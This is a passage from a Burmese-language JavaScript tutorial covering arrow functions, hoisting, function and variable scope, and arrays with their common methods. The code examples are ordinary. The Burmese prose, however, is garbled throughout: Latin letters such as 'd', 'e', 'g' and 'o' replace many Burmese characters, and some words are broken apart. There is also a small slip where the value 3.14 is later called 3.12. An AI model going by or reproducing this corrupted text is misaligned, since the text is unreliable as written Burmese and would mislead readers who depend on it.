3. Parameter က တစ်ခုထဲဆိုရင် ဝုိက်ကွင်းအoွင့်အပိတ်ကို မထည့်zဲထားလ့ုိ ရပါတယ်။

Parameter မရှိရင်dတာ့ ဝုိက်ကွင်းအoွင့်အပိတ် အလွတ်ကို ထည့်dပးoုိ့ လုိအပ်ပါတယ်။

 JavaScript 
let hello = () => "Hello, World"

ဒါdeကာင့်  တစ်ချ ို ့ကလည်း  ဝုိက်ကွင်းအoွင့်အပိတ်အလွတ်ထည့်ရတာ  ရှုပ်တယ်  ထင်eကပံု  ရပါတယ်။
Parameter မရှိရင် Underscore ကို Parameter တစ်ခုအdနနဲ့ dပးပြပီးdရးeကပါတယ်။ ဒါdeကာင့် ရံoန်ရံခါ
ဒီလုိကုဒ်မျ ို းကို dတွ့ ရနိုင်ပါတယ်။

 JavaScript 
let hello = _ => "Hello, World"

Parameter  မရှိရင်  ဝုိက်ကွင်းအoွင့်အပိတ်  ထည့်မယ့်အစား  Underscore  ကို  Parameter  တစ်ခုသoွယ်
အစားထုိးပြပီး  dရးလုိက်တဲ့သdzာပါ။  ဟိုးအdပါ်မှာ  Callback  အတွက်  နမူနာgပခဲ့တဲ့  Function  ကုဒ်ကို
Arrow Function နဲ့ dgပာင်းdရးeကည့်ပါမယ်။ ဒီလုိပါ – 

 JavaScript 
// Original Function
function twice(num, fun) {
    let result = fun(num)
    return result * 2
}

// Arrow Function
let twice = (n, f) => f(n) * 2
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dတာ်dတာ်dလးကို  တိုdတာင်းကျစ်လစ်သွားတာကို  dတွ့ရနိုင်ပါတယ်။  ဒီသdzာdတွdeကာင့်ပဲ  အခု
dနာက်ပုိင်းမှာ  Arrow Function  dတွကို dတာd်တာ်ကြကိုက်eကသလို dနရာအနှံ့အgပားမှာလည်း သံုးeကပါ
တယ်။  ဒါdeကာင့်  အတိုdကာက်dရးထားတဲ့  Arrow Function  ကုဒ်dတွကိုgမင်ရင်  နားလည်oုိ့  လုိအပ်ပါ
တယ်။  ရိုးရိုး  Function  နဲ့  အသားကျပြပီးသား  အdတွ့အကြကုံ  အထုိက်အdလျှာက်  ရိှသူdတွဟာ  Arrow
Function dတွကို gမင်တဲ့အခါ မူလအသားကျပြပီးသားနဲ့ ကွဲလဲွdနလ့ုိ နားလည်ရခက်dနတတ်eကပါတယ်။ 

Function Hoisting
ဟိုးdရှ့မှာ Variable Hoisting အdeကာင်းdလး ထည့်dgပာခဲ့ပါတယ်။ Variable dတွကို var Keyword နဲ့
deကညာလုိက်တဲ့အခါ JavaScript က အdပါ်ကိုပ့ုိdပးပြပီး အလုပ်လုပ်တဲ့ သdzာမျ ို းပါ။ ဒီလုိပါ –

 JavaScript 
var r = a + b
var a = 1
var b = 2

အရင်သံုးပြပီး  dနာက်မှdeကညာလုိက်တာပါ။  ဒီလုိအdgခအdနမျ ို းမှာ  JavaScript  က ကုဒ်ကို  အခုလုိ  ပံုစံ
dgပာင်းပြပီး အလုပ်လုပ်dပးသွားမှာပါ။

 Pseudocode 
var a
var b
var r = a + b
a = 1
b = 2

ရလဒ်ကdတာ့ မှန်မှာမဟုတ်ပါzူး။ ဒါdပမယ့် Hoisting သ့ုိမဟုတ် Lifting လ့ုိdခါ်တဲ့ သdzာသzာဝအရ
deကညာချက်ကို အလုိအdလျှာက် အdပါ်ကိုပ့ုိdပးလုိက်တာကို သိထားoို့ပါ။ var Keyword ကို သံုးမှပဲ ဒီ
သdzာမျ ို းနဲ့  အလုပ်လုပ်dပးပါတယ်။  let တို့  const တို့နဲ့  deကညာရင်dတာ့ dရးထားတဲ့  အစီအစဉ်
အတိုင်းသာ အလုပ်လုပ်သွားမှာပါ။
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Function  dတွမှာလည်း  Hoisting  သdzာသzာဝ  ရိှပါတယ်။  ဒါdeကာင့်  Function    ကို  အရင်သံုးပြပီး  
dနာက်မှ deကညာလ့ုိရပါတယ်။ ဒီလုိပါ –

 JavaScript 
add(1, 2)    // 3
function add(a, b) {
    return a + b
}

ဒီကုဒ်ဟာ အလုပ်လုပ်ပါတယ်။  add Function  ကို  မdeကညာရdသးခင်ကတည်းက ယူသံုးထားdပမယ့်
JavaScript က အလုပ်လုပ်တဲ့အခါ add Function deကညာချက်ကို အdပါ်တင်dပးလုိက်ပြပီး အလုပ်လုပ်
သွားမှာ မ့ုိလ့ုိပါ။ ဒါdပမယ့် ဒီလုိဆိုရင်dတာ့ ရမှာ မဟုတ်ပါzူး – 

 JavaScript 
add(1, 2)    // Error: add is not defined
let add = function(a, b) {
    return a + b
}

Function Expression နဲ့dရးသားပြပီး add Variable ထဲမှာ Assign လုပ်လုိက်တာပါ။ အလုပ်မလုပ်ပါzူး။
zာgoစ်လ့ုိလဲဆိုdတာ့  let နဲ့ deကညာထားတဲ့  add ကို  JavaScript  က Hoist/Lift  လုပ်ပြပီး တင်dပးမှာ
မဟုတ်တဲ့အတွက်  add Function  ကို dခါ်သံုးစဉ်မှာ  Function  မရှိdသးလ့ုိ  Error  တက်သွားမှာပဲ goစ်ပါ
တယ်။

Name Conflict
Function Name  dတဟွာ အမည်တူလ့ုိမရzူး  ဆိုတဲ့အချက်ကိုလဲ  goည့်စွက်မှတ်သားသင့်ပါတယ်။ ရိှပြပီး
သား  Function  ကို  dနာကတ်စ်ခါ  ထပ်deကညာလ့ုိ မရzူးလ့ုိ  dgပာတာပါ။  တစ်ချ ို ့  Language  dတွမှာ
အမည်တူ  deကညာမိရင်  တစ်ခါထဲ  Error  goစ်ပါတယ်။  JavaScript  မှာ  အမည်တူ  deကညာမိလ့ုိ  Error
dတာ့မgoစ်ပါzူး။ ဒါdပမယ့် dနာက်မှdရးတဲ့   Function   ကို အတည်ယူသွားမှာ   goစ်လ့ုိ အမည်တူတဲ့ အရင်
dရးထားတဲ့ Function dတွက အလုပ်လုပ်dတာ့မှာ မဟုတ်ပါzူး။
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Variable Scope
Variable dတွအdeကာင်းdgပာတုံးက Block Scope Variable အdeကာင်းdgပာခဲ့ပါတယ်။ Function Scope
အdeကာင်းdလး  goည့်စွက်dgပာo့ုိလုိပါdသးတယ်။  အdgခခံအားgoင့်  Function  တစ်ခုအတွင်းထဲမှာ
deကညာထားတဲ့  Variable  ကို  Function  ရဲ့gပင်ပနဲ့  အgခား  Function  များက ရယူအသံုးgပုခွင့်မရှိပါzူး။
Function  ထဲမှာ deကညာထားတဲ့  Variable  ဟာ အ့ဲဒီ  Function  နဲ့သာ သက်ဆိုင်ပါတယ်။  Function  ရဲ့
gပင်ပမှာ deကညာထားတဲ့ Variable dတွကိdုတာ့ Global Variable လ့ုိdခါ်ပါတယ်။ လုိအပ်တဲ့dနရာကdန
ရယူအသံုးgပုနိုင်ပါတယ်။

 JavaScript 
let name = "Alice"
function welcome() {
    console.log(`Welcome ${name}`)
}

function hello() {
    console.log(`Hello ${name}`)
}

welcome()    // Welcome Alice
hello()    // Hello Alice

နမူနာမှာeကည့်လုိက်ရင်  Function  dတရွဲ့gပင်ပမှာ  deကညာထားတဲ့  name ကို  Function  dတွထဲမှာ
အသံုးgပုထားတာကို  dတွ့ရနိုင်ပါတယ်။  ဒီလုိ  Global  Variable    dတွဟာ အန္တရာယ်dတာ့  များပါတယ်  ။
Function တိုင်းက သံုးလ့ုိရdနdတာ့ Function တစ်ခုdeကာင့် တန်oုိးdgပာင်းသွားတဲ့အခါ သ့ူကိုသံုးထားတဲ့
အgခား Function မှာ မလုိလားအပ်တဲ့ gပဿနာdတွ goစ်dစနိုင်ပါတယ်။
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 JavaScript 
function welcome() {
    let name = "Alice"
    console.log(`Welcome ${name}`)
}

function hello() {
    console.log(`Hello ${name}`)
}

welcome()    // Welcome Alice
hello()    // Hello

ဒီနမူနာမှာdတာ့ welcome Function ထဲမှာ name ကို deကညာထားလ့ုိ ရလဒ်မှန်ကန်တာကို dတွ့ရနိုင်
ပါတယ်။  hello Function  ကလည်း  name ကို  အသံုးgပုထားပါတယ်။  ဒါdပမယ့်  welcome  ထဲမှာ
deကညာထားတဲ့ name ဟာ hello နဲ့ သက်ဆိုင်gခင်းမရှိတဲ့အတွက် အလုပ်မလုပ်တာကို dတွ့ ရမှာပဲ goစ်
ပါတယ်။
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Programming Language dတွမှာပါတဲ့ Object ဆိုတဲ့သdzာသzာဝကို နားလည်dစo့ုိအတွက် gပင်ပက
ရုပ်ဝတ္ထုdတွနဲ့ နှိုင်းယှဉ်ပံုdoာ်eကည့်နိုင်ပါတယ်။ ဥပမာ - ပန်းသီး ဆိုတဲ့ ရုပ်ဝတ္ထုdလး တစ်ခုမှာ ကိုယ်ပုိင်
Zုဏ်နေသတ္တိတစ်ချ ို ့ရှိပါတယ်။ အခွံအနီdရာင်ရှိတယ်။ ချ ို ချဉ်တဲ့အရသာရှိတယ်။ ဒါကသက်မ့ဲ  ရုပ်ဝတ္ထုdလး
တစ်ခုပါ။ သက်ရှိgoစ်တဲ့  deကာင်dလးတစ်dကာင်ဆိုရင်dတာ့ အနက်dရာင်အdမွှးအgမှင်၊  မျက်လုံးdလးနှစ်
လံုး၊  အပြမီးdလးတစ်dချာင်းနဲ့  dgခdထာက်dလးdgခာင်း  စတဲ့  ပုိင်ဆိုင်မှုZုဏ်နေသတ္တိdတွအgပင်၊  အသံdပးနိုင်
တယ်၊ dgပးလွှားနိုင်တယ်၊ ကြွကက်ခုတ်နိုင်တယ်ဆိုတဲ့ အgပုအမူdလးdတွပါ ရှိသွားပါတယ်။

ပရိုZရမ် Object dတွဟာလည်း ဒီသdzာပါပဲ။ တစ်ချ ို ့ Object dတွမှာ ကိုယ်ပုိင်Zုဏ်နေသတ္တိdလးdတွ ရိှeက
တယ်။  Property    လ့ုိ  dခါ်eကdလ့ ရှိပါတယ်  ။  တစ်ချ ို ့ကdတာ့  ကိုယ်ပုိင်Zုဏ်နေသတ္တိအgပင်  အgပုအမူdလး
dတွပါ ရိှeကတယ်။  Method    လ့ုိ dခါ်eကdလ့ ရိှပါတယ်  ။ ဒီလုိ  Property  dတွ  Method  dတွ စုoဲွ့ပါဝင်တဲ့
Object dတွကို ကိုယ်တိုင် တည်dဆာက်ယူလို့ ရနိုင်သလုိ သက်ဆိုင်ရာ Language က တစ်ခါထဲ ထည့်dပး
ထားတဲ့ အသင့်သံုး Standard Object dတွလည်း ရိှနိုင်တယ်။

Array    ဟာ    JavaScript    ရဲ့    Standard Object    တစ်ခုgoစ်ပါတယ်  ။  သ့ူမှာ  သ့ူကိုယ်ပိုင်  Property  dတွနဲ့
Method dတွ အသင့်ပါဝင်တယ်။ တစ်ချ ို ့ Language dတွမှာdတာ့ Array ဆိုတာ Data Type တစ်မျ ို းgoစ်
ပါတယ်။ ရိုးရိုး Primitive Data Type dတွက တန်oိုး တစ်ခုကိုသာ လက်ခံသိမ်းဆည်းပြပီး Array ကdတာ့
တန်oုိးdတွကို အတွဲလိုက်စုစည်းသိမ်းဆည်းနိုင်လ့ုိ Compound Type သ့ုိမဟုတ် Structure Type လ့ုိ dခါ်
eကပါတယ်။  JavaScript  မှာ dတာ့  Compound Type/Structure Type  zdzာသzာဝမျ ို း  လုိချင်ရင်
Object ရဲ့  Property အgoစ် တန်oုိးdတွကို အတွဲလုိက် စုစည်းသိမ်းဆည်းနိုင်ပါတယ်။ တgခား Language
dတရွဲ့  Array Type  နဲ့  သdzာသzာဝ ဆင်တူတဲ့လုပ်dဆာင်ချက်ကို  ရရှိdစo့ုိအတွက်  Array  လ့ုိdခါ်တဲ့
Standard Object တစ်ခုကို အသင့်ထည့်သွင်း dပးထားတာပါ။ 
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Array  တစ်ခတုည်dဆာက်o့ုိအတွက်  နည်းလမ်း  (၂)  မျ ို းရှိပါတယ်။  တစ်နည်းက  Array  Object
Constructor ကို အသံုးgပုတဲ့နည်းပါ။

 JavaScript 
let mix = new Array("Bob", 3.14, true)

new Keyword  ကိုသုံးပြပီး  Object  အသစ်dတွတည်dဆာက်ရပါတယ်။  Array()  လ့ုိdခါ်တဲ့  Standard
Object Constructor ကိုသုံးပြပီး တည်dဆာက်dစလိုက်တာ goစ်တဲ့အတွက်  mix ဟာ Array Object တစ်
ခုgoစ်သွားပါပြပီ။ ဒီလို တည်dဆာက်စဉ်မှာ တန်oုိးdတွကိုလည်း  တစ်ခါထဲ Comma ခံပြပီး တန်းစီdပးလိုက်
တဲ့အတွက် mix Array ထဲမှာ Bob ဆိုတဲ့ String တန်oုိးတစ်ခု၊ 3.14 ဆိုတဲ့ Number တန်oုိးတစ်ခုနဲ့ true
ဆိုတဲ့  Boolean တန်oုိးတစ်ခု၊ စုစုdပါင်း တန်oုိးသုံးခုကို အတွဲလုိက် ထည့်သွင်းdပးထားမှာပဲ goစ်ပါတယ်။
ဒီလုိပုံစံမျ ို းပါ –

0 1 2
Bob 3.14 true

ထည့်သွင်းလုိက်တဲ့  တန်oုိးတိုင်းမှာ  ကိုယ်ပုိင်  Index  အညွှန်းကိုယ်စီလည်း  ရှိသွားမှာgoစ်ပါတယ်။  Index
အညွှန်းdတွဟာ အပြမဲတမ်း  0  ကစတဲ့အတွက်  Index 0  မှာ  Bob ဆိုတဲ့တန်oုိးရှိdနမှာgoစ်ပြပီး  Index 1  မှာ
3.12 ဆိုတဲ့တန်oုိး ရှိdနမှာ goစ်ပါတယ်။ Index 2 မှာdတာ့ true ဆိုတဲ့တန်oုိး ရိှdနမှာပါ။

Array တည်dဆာက်နည်း dနာက်တစ်နည်းကdတာ့ dလးdထာင်ကွင်း အoွင့်အပိတ်ကို အသံုးgပုgခင်းgoစ်ပါ
တယ်။  Single  Quote  /  Double  Quote  အoွင့်အပိတ်dတွကို  String  တည်dဆာက်dပးနိုင်တဲ့  String
Literal  လ့ုိdခါ်ပြပီး  dလးdထာင့်ကွင်း  အoွင့်အပိတ်ကိုdတာ့  Array  dတွတည်dဆာက်dပးနိုင်တဲ့  Array
Literal လ့ုိ dခါ်ပါတယ်။

 JavaScript 
let mix = [ "Bob", 3.14, true ]
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ဒီနည်းနဲ့ တန်oုိး  (၃) ခု အတွဲလုိက်ပါဝင်တဲ့  mix Array တစ်ခု ရသွားပါတယ်။ အကယ်၍ Array အလွတ်
ကို  တည်dဆာက်လုိရင်  dလးdထာင့်ကွင်းအoွင့်နဲ့အပိတ်ကို  အလွတ်အတိုင်း  dပးလုိက်ယုံပါပဲ။  dစာdစာ
ကdgပာတဲ့  Array Object Constructor  ကိုအသံုးgပုတဲ့နည်းထက် ဒီ  Array Literal  ကိုသုံးရတဲ့နည်းကို ပုိ
အသံုးများပါတယ်။ dရးရတဲ့ကုဒ် ကျစ်လစ်တိုdတာင်းလ့ုိပါ။

JavaScript Array dတွမှာ ထည့်သွင်းသိမ်းဆည်းနိုင်တဲ့ Data Type ကန့်သတ်ချက်မရှိပါzူး။ နှစ်သက်ရာ
အမျ ို းအစားကို  တွဲoက်သိမ်းဆည်းနိုင်ပါတယ်။  ပြပီးdတာ့  အdရအတွက်ပံုdသလည်း  မရှိပါzူး။  (၅)  ခုပဲ
ထည့်လို့ရမယ်၊ (၁၀) ခုပဲ ထည့်လ့ုိရမယ်ဆိုတာမျ ို း မရှိzဲ၊ လုိအပ်သdလာက် ထပ်တိုးထည့်သွင်း သွားလို့ ရ
နိုင်ပါတယ်။ တစ်ချ ို ့ Statically Typed Language dတွမှာဆိုရင်dတာ့ သိမ်းဆည်းလ့ုိရတဲ့ Data Type ကို
ကြကိုတင်deကညာdပးo့ုိ လုိနိုင်ပြပီး ကြကိုတင်deကညာထားတဲ့ အမျ ို းအစားကလဲွရင် တgခား အမျ ို းအစားdတွ
ကိုလက်ခံထည့်သွင်းdပးမှာ  မဟုတ်ပါzူး။  ပြပီးdတာ့  ပါဝင်မယ့် အdရအတွက်ကို  လည်းကြကိုတင်deကညာ
dပးထားo့ုိလုိအပ်နိုင်ပါတယ်။ ဥပမာ – 

 Pseudocode 
let nums [i32, 5] = [ 1, 2, 3, 4, 5 ];
let mix [str, f32, bool] = [ "Bob", 3.14, true ];

ပထမတစ်deကာင်းက i32 အမျ ို းအစား ကိန်းZဏနေန်းdတွသိမ်းမယ်၊ (၅) ခုသိမ်းမယ်လ့ုိ deကညာလိုက်တာ
ပါ။  ဒါdeကာင့်  (၅)  ခုအတိအကျသိမ်းdပးရမှာgoစ်သလုိ  သိမ်းလ့ုိရမယ့်အမျ ို းအစားကလည်း  32-bit
Integer  တစ်မျ ို းထဲပဲ  သိမ်းလ့ုိရမှာပါ။  dနာက်တစ်deကာင်းမှာdတာ့  String,  32-bit  Float  နဲ့  Boolean
စုစုdပါင်း သံုးခုသိမ်းမယ်လ့ုိ သတ်မှတ်ထားတဲ့အတွက် သတ်မှတ်ထားတဲ့အတိုင်း အတိအကျသိမ်းdပးရမှာ
ပါ။ တgခား အမျ ို းအစားdတွ သိမ်းလ့ုိရမှာ မဟုတ်ပါzူး။ ဒါက တစ်ချ ို ့  Statically Typed Language မှာ
goစ်နိုင်တာကို dgပာတာပါ။ JavaScript   မှာdတာ့ အ့ဲဒီလုိ ကန့်သတ်ချက်မျ ို းdတွ မရှိပါzူး  ။

Array  တစ်ခုထဲမှာ  ထည့်သွင်းထားတဲ့  တန်oုိးdတွကို  လုိအပ်တဲ့အခါ  Index  အညွှန်းနံပါတ်ကိုသုံးပြပီး
gပန်လည်ရယူ အသံုးgပုနိုင်ပါတယ်။
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 JavaScript 
let mix = [ "Bob", 3.14, true ]
let name = mix[0]   // Bob
let num = mix[1]   // 3.14
let out = mix[3]    // undefined

နမူနာမှာ mix Array dနာက်က dလးdထာင့်ကွင်းအတွင်းမှာ Index နံပါတ်ကိုdပးပြပီး Array ထဲက လုိချင်
တဲ့ တန်oုိးကို ရယူထားပါတယ်။ မရှိတဲ့ တန်oုိးကို ယူoို့ကြကိုးစားတဲ့အခါမှာdတာ့ undefined ကို ရရှိတာ
dတွ့ရမှာပဲ goစ်ပါတယ်။

တန်oုိးdတွgပင်လုိရင်ပဲgoစ်goစ်၊ ထပ်မံထည့်သွင်းလိုရင်ပဲgoစ်goစ် နှစ်သက်ရာ Index နံပါတ်dပးပြပီး ထည့်လို့
ရပါတယ်။ ဒီလုိပါ – 

 JavaScript 
let mix = [ "Bob", 3.14, true ]
mix[0] = "Alice"
mix[4] = 5

မူလdeကညာစဉ်က တန်oုိး  (၃)  ခု  ပါပြပီး  dနာက်မှ  Index 4  မှာ  တန်oုိးတစ်ခုကို  ထပ်ထည့်ထားတာပါ။
ရလဒ်က အခုလုိပုံစံ goစ်မှာပါ။

0 1 2 3 4
Alice 3.14 true 5

မူလတန်oုိး (၃) ခုတို့ဟာ Index 0, 1, 2 တို့မှာ အသီးသီးရှိdနပါတယ်။ Index 0 တန်oုိးကdတာ့ dနာက်မှ
dgပာင်းdပးလိုက်လ့ုိ dgပာင်းdနပါပြပီ။  Index 3 က zာတန်oုိးမှ မရှိdသးတဲ့ အခန်းလွတ်တစ်ခုအdနနဲ့ ဝင်
dရာက်သွားတာကို သတိgပုo့ုိလုိပါလိမ့်မယ်။ 0, 1, 2 ပြပီးရင် 3 လာရမှာgoစ်dပမယ့် တစ်ဆင့်dကျာ်ပြပီး 4 မှာ
တန်oုိးသစ်တစ်ခု ထည့်လုိက်မိလ့ုိပါ။
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Array  တိုင်းမှာ သ့ူကိုယ်ပုိင်အdနနဲ့  length Property  ရိှပါတယ်။ အ့ဲဒီ  length Property  ရဲ့တန်oုိး
အdနနဲ့  Array  ရဲ့  Size  ရိှdနမှာgoစ်ပါတယ်။ အသံုးဝင်ပါတယ်။  Array Object  အပါအဝင်  Object  dတရွဲ့
Property dတွ  Method dတွကို အသုံးgပုလုိတဲ့အခါ သက်ဆိုင်ရာ Object dပါ်မှာ  Dot Operator ကိုသံုး
ပြပီး ရယူအသံုးgပုနိုင်ပါတယ်။

 JavaScript 
let fruits = [ "Apple", "Orange" ]
fruits.length    // 2
fruits[2] = "Mango"
fruits.length    // 3
fruits[fruits.length – 1]    // Mango

မူလ fruits Array မှာ Index နှစ်ခရုှိတဲ့အတွက် သူရဲ့ length တန်oုိး 2 goစ်dနပြပီး၊ dနာက်ထပ် Index
တစ်ခုထပ်တိုးလုိက်တဲ့အခါ  length တန်oုိး  3  goစ်သွားတာကို  dတွ့gမင်ရgခင်းgoစ်ပါတယ်။  ပြပီးတဲ့အခါ
length ရဲ့လက်ရှိတန်oုိး goစ်dနချနိ်မှာ length – 1 နဲ့ fruits Array ရဲ့ Index ကို dထာက်လုိက်
တဲ့အခါ fruits[2] ကို dထာက်လုိက်သကဲ့သ့ုိ goစ်တဲ့အတွက် fruits Array ရဲ့ လကရ်ှိ  Index 2 မှာ
ရိှdနတဲ့ တန်oုိးကို gပန်ရတာကိုလည်း dတွ့ရပါလိမ့်မယ်။ ဒီနည်းကို Array ရဲ့dနာက်ဆုံးတန်oုိးယူoို့ သံုးeက
dလ့ ရှိပါတယ်။

Array တစ်ခုထဲမှာ ရိုးရိုး String, Number စတဲ့ တန်oုိးdတွသာမက တgခား Array dတွလည်း ရိှနိုင်ပါdသး
တယ်။ ဒီလုိပါ – 

 JavaScript 
let mix = [ [123, 456, 789], ['Ant', 'Cat', 'Dog'] ]

ပင်မ mix Array ဟာ Index နှစ်ခရုှိတဲ့  Array တစ်ခုgoစ်ပြပီး သ့ူထဲမှာ dနာက်ထပ် Array dတွထပ်ရှိdနတာ
ပါ။ oဲွ့စည်းပံုက အခုလို goစ်ပါလိမ့်မယ်။
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0 1
0 1 2

123 456 789
0 1 2

Ant Cat Dog

ဒီလုိထပ်ဆင့်ရှိdနတဲ့  Array ထဲကတန်oုိးdတွကိုလည်း လုိသလုိ ရယူgပင်ဆင်လုိ့ရပါတယ်။ Index အညွှန်း
ကိုသာ ထပ်ဆင့်မှန်dအာင်dပးoုိ့ လုိတာပါ။

let nums = mix[0]    // [ 123, 456, 789 ]
let animals = mix[1]    // [ 'Ant', 'Cat', 'Dog' ]
let x = mix[0][1]    // 456
let rambo = mix[1][2]   // Dog

Array Methods
Array  Data  dတွကို  စီမံo့ုိအတွက်  အသံုးဝင်တဲ့  Default  Method  dတွ  ရှိပါတယ်။  Array  တစ်ခု
တည်dဆာက်လုိက်တာနဲ့  အ့ဲဒီ  Method  dတွကို  Array  dပါ်မှာ  အသင့်သံုးလုိ့ရသွားမှာပါ။  အတွဲလုိက်
မှတ်သားသင့်တဲ့ Method (၄) ခုကdတာ့ push(), pop(), shift()  နဲ့�� unshift() တို့ပဲ goစ်
ပါတယ်။

• push() Method ကို Array ရဲ့dနာက်ဆုံးကdန Index တစ်ခတုိုးo့ုိအတွက် သံုးနိုင်ပါတယ်။
• pop() Method ကိုdတာ့ Array ရဲ့dနာက်ဆုံး Index ကို oယ်ထုတ်o့ုိသံုးနိုင်ပါတယ်။
• shift() Method ကိုdတာ့ Array ရဲ့dရှ့ဆုံး Index ကိုoယ်ထုတ်oို့ သံုးပါတယ်။
• unshift() Method ကိုdတာ့ Array ရဲ့dရှ့ဆုံးမှာ Index တစ်ခုတိုးo့ုိ သံုးနိုင်ပါတယ်။

let animals = ["Dog", "Cat", "Bird"]
animals.push("Cow") // animals → ["Dog", "Cat", "Bird", "Cow"]
animals.pop()    // animals → ["Dog", "Cat", "Bird"]
animals.shift() // animals → ["Cat", "Bird"]
animals.unshift("Ant")    // animals → ["Ant", "Cat", "Bird"]
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push() အတွက်  dနာက်ဆုံးမှာ  ထပ်တိုးလုိတဲ့  တန်oုိးကို  Argument  အdနနဲ့  dပးရပါတယ်။
unshift() အတွက်လည်း dရှ့ဆုံးမှာ ထပ်တိုးလုိတဲ့  တန်oုိးကို dပးရပါတယ်။  pop() နဲ့  shift()
အတွက်dတာ့  Argument  dတွ  မလုိအပ်ပါzူး။  dနာက်ထပ်မှတ်သားသင့်တဲ့  အတွဲအoက်  ကdတာ့
indexOf() နဲ့ splice() goစ်ပါတယ်။ indexOf() နဲ့ Index တန်oုိးကို ရှာနိုင်ပြပီး၊ splice() နဲ့
မလုိချင်တဲ့ Index ကို oယ်ထုတ်နိုင်ပါတယ်။

 JavaScript 
let fruits = ["Apple", "Orange", "Mango", "Banana"]
fruits.indexOf("Mango")    // 2
fruits.splice(2, 1)    // fruits → ["Apple", "Orange", "Banana"]

Index  (၄)  ခုပါတဲ့  fruits Array  ကdန  indexOf() နဲ့  Mango  ကိုရှာလုိက်တဲ့အခါ  Index  2
goစ်deကာင်းသိရပါတယ်။  splice() ကိုသုံးပြပီး  Index 2  ကိုoျက်ခိုင်းလုိက်တဲ့အတွက်  မူလ  fruits
Array မှာ Index (၃) ခုပဲကျန်dတာ့တာကို dတွ့ ရgခင်း goစ်ပါတယ်။ splice() အတွက် Argument နှစ်
ခုdပးရပါတယ်။ ပထမ  Argument  က  Index  goစ်ပြပီး ဒုတိယ  Argument  ကdတာ့ အdရအတွက် goစ်ပါ
တယ်။ အdရအတွက်မှာ 1 ကို dပးလ့ုိ တစ်ခုoျက်dပးတာပါ။ oျက်လုိတဲ့အdရအတွက်ကို လုိသလုိ dပးနိုင်
ပါတယ်။

dနာက်ထပ်အသံုးဝင်တဲ့  Array Method ကdတာ့ join() goစ်ပါတယ်။ Array Index dတွကို တစ်ဆက်
ထဲ တစတ်ွဲထဲ goစ်သွားdအာင် တွဲဆက်ပြပီး  String အdနနဲ့ ရလဒ်ကို gပန်dပးနိုင်တဲ့ လုပ်dဆာင်ချက်goစ်ပါ
တယ်။

let fruits = ["Apple", "Orange", "Mango"]
let result = fruits.join(",")    // result → Apple,Orange,Mango

join() Method  အတွက်  Argument  အdနနဲ့  တွဲဆက်ရာမှာ eကားခံထားdပးdစလုိတဲ့  တန်oုိးကို  dပး
နိုင်ပါတယ်။ နမူနာမှာ  Comma တစ်ခုကို dပးခဲ့လ့ုိ  Comma ခံပြပီးတွဲဆက်dပးသွားတာပါ။ zာမှမdပးရင်
လည်း ရပါတယ်။ eကားခံမထားdတာ့zဲ အကုန်လံုးကို တွဲဆက်dပးသွားမှာပဲ goစ်ပါတယ်။
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ဒီdနရာမှာ တစ်ခုသတိgပုoုိ့လုိပါတယ်။ တစ်ချ ို ့ Method က မူလ Array ရဲ့ တန်oုိးdတွကို gပုgပင်လုိက်တာ
goစ်ပြပီး။ တစ်ချ ို ့  Method dတွက မူလ Array ရဲ့တန်oုိးကို dgပာင်းလဲdစgခင်းမရှိzဲ ရလဒ်ကို gပန်dပးတာ
goစ်ပါတယ်။ push(), pop(), shift(), unshift(), splice() စတဲ့  Method dတွက
မူလ Array  တန်oုိးdတွကို gပုgပင် dgပာင်းလဲသွားdစတဲ့  Method dတွပါ။  join() ကdတာ့ မူလ Array
တန်oုိးdတွကို မdgပာင်းပါzူး။ ရလာတဲ့ ရလဒ်ကိုသာ gပန်dပးတာပါ။ ဒါdeကာင့်လည်း နမူနာမှာ ရလဒ်ကို
Variable  တစ်ခုမှာ  Assign  လုပ်gပထားတာပါ။  ဒီလုိမတူကွဲgပားတဲ့သdzာသzာဝdလးက အdရးကြကီးပါ
တယ်။ Zရုgပုမှတ်သားသင့်ပါတယ်။

ထပ်မံမှတ်သားသင့်တဲ့ အသံုးဝင်တဲ့ Array Method dတကွdတာ့ map(), filter() နဲ့ reduce()
တို့goစ်ပါတယ်။

• map() Method  အတွက်  Argument  အdနနဲ့  Function  Expression  တစ်ခုdပးရပါတယ်။
dပးလုိက်တဲ့ Function Expression ကို Array Item အားလံုးdပါ်မှာ အလုပ်လုပ်ပြပီး dနာက်ဆုံး ရ
လာတဲရ့လဒ်ကို  Array  အdနနဲ့  gပန်dပးမှာပါ။  Array  ထဲကတန်oုိးdတွကို  တစ်ခုချင်းလုိသလုိ
gပုgပင်ရယူoို့ အသုံးဝင်ပါတယ်။

• filter() Method အတွက်လည်း Function Expression တစ်ခုကို  Argument အdနနဲ့dပးရ
ပါတယ်။ Array ထဲက လုိချင်တဲ့ Item dတွကို dရးွယူချင်ရင် အသုံးဝင်ပါတယ်။

• reduce() Method အတွက်လည်း Function Expression တစ်ခုကို dပးရတာပါပဲ။ သူကdတာ့
Array  Item  အားလံုးdပါ်မှာအလုပ်လုပ်ပြပီး  dနာက်ဆုံးရလဒ်တန်oုိးတစ်ခုကို  gပန်dပးပါတယ်။
ဥပမာ - Array ထဲမှရှိသမျှ တန်oုိးအားလံုးကို dပါင်းလုိက်ပြပီး dပါင်းgခင်းရလဒ်ကို gပန်dပးတာမျ ို း
ပါ။

ဒီ  Method  dတွဟာ dတာ်dတာ်dလးအသံုးဝင်တဲ့  Method  dတွပါ။  လက်dတွ့ပdရာZျက်dတွမှာလည်း
အသံုးများeကပါတယ်။ မူလ Array တန်oုိးdတွကို ထိခိုက်dgပာင်းလဲdစgခင်း မရှိzဲ ရလဒ်ကို သီးgခားအdန
နဲ့ gပန်dပးတဲ့ Method dတွပါ။ 
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 JavaScript 
let nums = [1, 2, 3, 4, 5]
let result = nums.map(function(n) {
    return n + 1
})

// result → [2, 3, 4, 5, 6]

Array  မှာ  Index (၅)  ခရုှိပြပီး  dပးလုိက်တဲ့  Function Expression  က  (၅)  ခုလံုးdပါ်မှာ တစ်ခုပြပီးတစ်ခု
အလုပ်လုပ်သွားမှာပါ။  Function  Expression  ရဲ့  Parameter  goစ်တဲ့  n  ဟာ လက်ရှိအလုပ်လုပ်dနတဲ့
တန်oုိးgoစ်ပါတယ်။ အ့ဲဒီတန်oုိးကို  1 နဲ့dပါင်းပြပီး gပန်dပးထားလုိ့  Array ထဲမှာ ရှိသမျှ တန်oုိးအားလံုးကို  1
တိုးလုိက်တဲ့ လုပ်dဆာင်ချက်ကို ရရှိdစပါတယ်။

 JavaScript 
let nums = [1, 2, 3, 4, 5]
let result = nums.filter(function(n) {
    return n % 2
})

// result → [1, 3, 5]

